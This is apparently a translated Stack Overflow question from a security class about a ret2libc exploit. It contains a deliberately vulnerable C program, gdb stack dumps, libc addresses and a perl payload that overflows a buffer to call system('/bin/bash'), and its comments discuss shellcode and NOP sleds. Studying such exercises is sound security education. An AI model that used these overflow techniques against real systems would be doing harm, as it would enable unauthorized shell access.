【发布时间】:2018-04-08 12:58:28
【问题描述】:
我需要对is_virus() 执行针对安全类的 libc 攻击返回。目标是溢出traffic[]并覆盖is_virus()的返回地址,使其返回libc函数system()打开一个shell。现在我已经在这上面花费了几个小时,但无法让它发挥作用。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <ctype.h>
char *signatures[] = {"sys_open_ports", "sys_module", "write_binaries",
"sys_binaries"};
int is_virus(int argc, char ** argv)
{
char traffic[44];
int i, j, k, len;
traffic[0] = 0;
for (i = 1; i < argc; ++i)
strcat(traffic, argv[i]);
for (j = 0; j < 4; ++j) {
len = strlen(signatures[j]);
for (i = 0; i < (int)strlen(traffic); ++i)
if (strncmp(signatures[j], traffic+i, len) == 0)
return 1;
}
return 0;
}
int main(int argc, char ** argv)
{
if (argc < 2) {
system("echo 'usage: target3 network_traffic_packets'");
exit(1);
}
if (is_virus(argc, argv))
printf("Alarm! virus founded\n");
else
printf("safe.\n");
return 0;
}
现在我开始查找system()、exit() 和字符串/bin/bash 的地址。
我发现这些是……
系统()= 0x40071584
退出() = 0x400533a4
"/bin/bash" = 0xbffffefb 这是在环境变量中找到的
现在根据我的理解,is_virus()的返回地址需要替换为system()的地址,然后是exit()的地址,然后是字符串/bin/bash的地址。接下来,我通过在gdb内部反汇编main,找到了is_virus()的返回地址。
...
0x804868b <main+43>: pushl 0xc(%ebp)
0x804868e <main+46>: pushl 0x8(%ebp)
0x8048691 <main+49>: call 0x8048570 <is_virus>
0x8048696 <main+54>: add $0x10,%esp
0x8048699 <main+57>: mov %eax,%eax
...
所以is_virus()应该返回地址0x8048696。我用它来确定我需要多少填充。在堆栈指针后不久查看内存...
Breakpoint 1, is_virus (argc=2, argv=0xbffffb34) at target3.c:15
15 traffic[0] = 0;
(gdb) x/32xw $esp
0xbffffa60: 0xbffffaa0 0x4000d2b6 0x40016b34 0x40021298
0xbffffa70: 0x00000001 0x00000000 0x40021000 0x400212b8
0xbffffa80: 0xbffffac0 0x4000d2b6 0x08049840 0x080482cb
0xbffffa90: 0x4002d164 0x40158154 0x400168e4 0x4013d12e
0xbffffaa0: 0xbffffad8 0x4000d450 0xbffffac8 0x08048696
0xbffffab0: 0x00000002 0xbffffb34 0xbffffad8 0x08048551
0xbffffac0: 0x08049820 0x08049934 0xbffffb08 0x4003e507
0xbffffad0: 0x00000002 0xbffffb34 0xbffffb40 0x080483b2
我们可以看到返回地址是 0xbffffab2。现在玩传递 'A',我发现 60 个字节让我就在这个地址之前。
所以我用所有信息构建了输入
./target3 $(perl -e '打印 "AAAA"x15, "\x84\x15\x07\x40", "\xa4\x33\x05\x40", "\xfb\xfe\xff\xbf" ')
查看strcpy() 之后的数据看起来是正确的。
(gdb) x/32xw $esp
0xbffffa20: 0xbffffa60 0x4000d2b6 0x40016b34 0x00000001
0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa60: 0x41414141 0x41414141 0x41414141 0x40071584
0xbffffa70: 0x400533a4 0xbffffefb 0xbffffa00 0x08048551
0xbffffa80: 0x08049820 0x08049934 0xbffffac8 0x4003e507
0xbffffa90: 0x00000002 0xbffffaf4 0xbffffb00 0x080483b2
但问题是exit() 地址覆盖了argc 值的存储位置,并导致第一个循环多次执行并崩溃。我尝试将此值更改为 0xFFFFFFFF 并忘记了干净退出,但是当函数 is_virus() 尝试返回时,我收到错误
无法访问地址为 0xffffffff 的内存
任何帮助将不胜感激!
【问题讨论】:
-
我不是安全专家。但是你能用你的参数将操作码写入
call system到缓冲区本身吗?然后覆盖返回地址以指向您的缓冲区。无操作幻灯片可能很有用——您不必猜测 exact 偏移量。这假设您可以从缓冲区执行代码。这可能行不通。 -
虽然我承认我不知道如何使用 strcat 将 0 写入缓冲区。
-
所有代码都存储在与堆栈不同的内存段中,缓冲区溢出只能修改堆栈空间。
-
Benjamin:MFisherKDX 的问题是,如果您可以将堆栈空间作为代码执行,那么您可以将有效负载存储在那里,但看起来堆栈地址每次运行都是随机的(两个不同的堆栈视图),真正的代码返回攻击不应该需要执行有效载荷本身,要运行的代码应该从实际的应用程序代码中挑选出来,所以答案可能是“不”堆栈执行。我的另一个问题是,这是否应该是简单的,比如只是调用函数的入口点,或者你应该反编译 libc 代码并实际从尾部构建真正的攻击......
-
@MFisherKDX 如果您可以执行堆栈内容,则不需要在有效负载中直接使用零字节,因为您可以通过有效负载中的代码轻松创建零并在执行早期覆盖自身,例如@ 987654344@
mov [cs:eip-15],cljmp $-40(修改一些操作码,然后跳转到调整后的代码)。并且可以通过对有效负载进行编码的替代方式来避免操作码本身中的任何其他意外零。但是当堆栈为“no exec”时使用“返回”类型的攻击,因此您不能直接将代码放在那里,您只需准备链接“返回地址”执行应用程序的代码为您工作跨度>
标签: c assembly memory stack-overflow